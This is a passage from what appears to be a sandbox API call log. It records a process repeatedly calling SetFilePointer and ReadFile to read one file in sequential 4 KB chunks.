lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.790] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x42000 [0177.790] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.790] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x43000 [0177.790] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.791] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x44000 [0177.791] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.791] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x45000 [0177.791] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.791] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x46000 [0177.791] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.792] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x47000 [0177.792] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.792] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x48000 [0177.792] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.792] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x49000 [0177.792] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.793] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x4a000 [0177.793] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.793] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x4b000 [0177.793] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.794] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x4c000 [0177.794] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.794] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x4d000 [0177.794] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.794] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x4e000 [0177.794] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.795] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x4f000 [0177.795] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.795] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x50000 [0177.795] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.795] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x51000 [0177.795] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.796] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x52000 [0177.796] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.796] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x53000 [0177.796] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.796] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x54000 [0177.796] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.797] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x55000 [0177.797] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.797] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x56000 [0177.797] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.797] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x57000 [0177.797] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.798] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x58000 [0177.798] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.798] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x59000 [0177.798] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.798] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x5a000 [0177.799] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.799] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x5b000 [0177.799] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.799] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x5c000 [0177.799] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.799] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x5d000 [0177.799] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.800] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x5e000 [0177.800] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.800] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x5f000 [0177.800] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.800] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x60000 [0177.801] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.806] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x61000 [0177.806] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.806] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x62000 [0177.806] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.807] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x63000 [0177.807] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.807] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x64000 [0177.807] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.807] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x65000 [0177.807] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.809] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x66000 [0177.809] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.809] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x67000 [0177.809] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.810] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x68000 [0177.810] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.810] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x69000 [0177.810] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.811] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x6a000 [0177.811] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.812] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x6b000 [0177.812] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.812] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x6c000 [0177.812] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.813] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x6d000 [0177.813] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.814] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x6e000 [0177.814] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.814] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x6f000 [0177.814] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.815] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x70000 [0177.815] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.815] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x71000 [0177.815] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.816] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x72000 [0177.816] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.816] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x73000 [0177.816] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.817] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x74000 [0177.817] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.818] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x75000 [0177.818] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.818] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x76000 [0177.818] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.819] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x77000 [0177.819] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.820] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x78000 [0177.820] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.820] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x79000 [0177.820] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.821] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x7a000 [0177.821] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.821] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x7b000 [0177.821] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.822] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x599d568*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x599d568*=0) returned 0x7c000 [0177.822] ReadFile (in: hFile=0x3e0, lpBuffer=0x2424804, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x599d594, lpOverlapped=0x0 | out: lpBuffer=0x2424804*, lpNumberOfBytesRead=0x599d594*=0x1000, lpOverlapped=0x0) returned 1 [0177.823] SetFilePointer (in: 